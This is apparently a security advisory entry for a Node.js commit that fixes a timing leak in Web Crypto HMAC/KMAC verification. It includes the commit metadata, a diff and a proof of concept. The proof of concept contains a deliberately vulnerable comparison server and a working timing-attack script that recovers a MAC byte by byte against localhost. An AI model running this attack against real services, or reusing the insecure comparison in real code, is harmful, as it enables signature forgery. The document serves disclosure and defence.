Timing attack (MAC verification) due to non-constant-time comparison of MAC outputs
Description
The commit replaces memcmp with CRYPTO_memcmp in HMAC and KMAC verification paths used by Web Crypto (HMAC and KMAC outputs). The previous non-constant-time comparison could leak information about how many initial bytes of the MAC were correct, enabling a timing attack to recover the MAC. The change fixes this by using a timing-safe comparison function (CRYPTO_memcmp) to compare computed MACs against supplied signatures.
Proof of Concept
/* Vulnerable demonstration server (for local/test environment) showing timing-based MAC verification leakage */
// Dependencies: node >= 18
// Vulnerable server (uses a memcmp-like, non-constant-time comparison in MAC verification)
const http = require('http');
const crypto = require('crypto');
const SECRET = Buffer.from('supersecretkey', 'utf8');
const MSG = 'demo-message';
function vulnerableCompare(a, b) {
// Insecure: sequential byte comparison that can leak timing information
if (a.length !== b.length) return false;
for (let i = 0; i < a.length; i++) {
if (a[i] !== b[i]) return false;
}
return true;
}
http.createServer((req, res) => {
if (req.url.startsWith('/verify')) {
const url = new URL(req.url, `http://${req.headers.host}`);
const sigHex = url.searchParams.get('signature') || '';
const provided = Buffer.from(sigHex, 'hex');
const computed = crypto.createHmac('sha256', SECRET).update(MSG).digest();
const ok = vulnerableCompare(computed, provided);
res.statusCode = ok ? 200 : 403;
res.end(ok ? 'OK' : 'Invalid MAC');
} else {
res.end('ready');
}
}).listen(1337, () => console.log('Vulnerable MAC verify server listening on :1337'));
/* Attacker PoC (timing attack to recover MAC byte-by-byte) */
// Run this after starting the server. It attempts to recover the 32-byte HMAC by
// measuring response times for candidate byte values and picking the value that
// yields the highest average response time (indicative of correct byte during sequential compare).
const httpModule = require('http');
const TARGET = 'http://localhost:1337/verify?signature=';
const MAC_LEN = 32; // SHA-256 output length in bytes
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function measure(candidateHex) {
const url = TARGET + candidateHex;
const start = process.hrtime.bigint();
await new Promise((resolve) => {
httpModule.get(url, (res) => {
res.on('data', () => {});
res.on('end', resolve);
}).on('error', resolve);
});
const end = process.hrtime.bigint();
const ms = Number(end - start) / 1e6;
return ms;
}
async function runAttack() {
const recovered = Buffer.alloc(MAC_LEN, 0);
const prefix = Buffer.alloc(0);
let known = Buffer.alloc(0);
for (let i = 0; i < MAC_LEN; i++) {
let bestByte = 0;
let bestTime = -Infinity;
for (let b = 0; b < 256; b++) {
const guess = Buffer.concat([known, Buffer.from([b]), Buffer.alloc(MAC_LEN - i - 1, 0)]);
const hex = guess.toString('hex');
// Take multiple samples to mitigate noise
const samples = 3;
let total = 0;
for (let s = 0; s < samples; s++) {
total += await measure(hex);
}
const avg = total / samples;
if (avg > bestTime) {
bestTime = avg;
bestByte = b;
}
}
known = Buffer.concat([known, Buffer.from([bestByte])]);
console.log(`Recovered byte ${i}: 0x${bestByte.toString(16).padStart(2, '0')}`);
}
console.log('Recovered MAC (hex):', known.toString('hex'));
}
// To run the attacker, uncomment the following line and execute this file after starting the server
// runAttack();
Commit Details
Author: Filip Skokan
Date: 2026-02-20 11:32 UTC
Message:
crypto: use timing-safe comparison in Web Cryptography HMAC and KMAC
Use `CRYPTO_memcmp` instead of `memcmp` in `HMAC` and `KMAC`
Web Cryptography algorithm implementations.
Ref: https://hackerone.com/reports/3533945
PR-URL: https://github.com/nodejs-private/node-private/pull/822
Refs: https://hackerone.com/reports/3533945
Reviewed-By: Anna Henningsen <anna@addaleax.net>
Reviewed-By: Rafael Gonzaga <rafael.nunu@hotmail.com>
Reviewed-By: Сковорода Никита Андреевич <chalkerx@gmail.com>
CVE-ID: CVE-2026-21713
Triage Assessment
Vulnerability Type: Timing attack (MAC verification)
Confidence: HIGH
Reasoning:
The commit switches from memcmp to a timing-safe comparison (CRYPTO_memcmp) when verifying HMAC/KMAC outputs. This mitigates timing-side-channel leaks in MAC verification, a known security vulnerability vector (info leakage via timing).
Verification Assessment
Vulnerability Type: Timing attack (MAC verification) due to non-constant-time comparison of MAC outputs
Confidence: HIGH
Affected Versions: 25.9.0 and earlier (pre-fix)
Code Diff
diff --git a/src/crypto/crypto_hmac.cc b/src/crypto/crypto_hmac.cc
index dadb0fc8017e46..88a512d7550200 100644
--- a/src/crypto/crypto_hmac.cc
+++ b/src/crypto/crypto_hmac.cc
@@ -270,7 +270,8 @@ MaybeLocal<Value> HmacTraits::EncodeOutput(Environment* env,
return Boolean::New(
env->isolate(),
out->size() > 0 && out->size() == params.signature.size() &&
- memcmp(out->data(), params.signature.data(), out->size()) == 0);
+ CRYPTO_memcmp(
+ out->data(), params.signature.data(), out->size()) == 0);
}
UNREACHABLE();
}
diff --git a/src/crypto/crypto_kmac.cc b/src/crypto/crypto_kmac.cc
index 7dafa9f6d14b1b..c862a20f410d9d 100644
--- a/src/crypto/crypto_kmac.cc
+++ b/src/crypto/crypto_kmac.cc
@@ -202,7 +202,8 @@ MaybeLocal<Value> KmacTraits::EncodeOutput(Environment* env,
return Boolean::New(
env->isolate(),
out->size() > 0 && out->size() == params.signature.size() &&
- memcmp(out->data(), params.signature.data(), out->size()) == 0);
+ CRYPTO_memcmp(
+ out->data(), params.signature.data(), out->size()) == 0);
}
UNREACHABLE();
}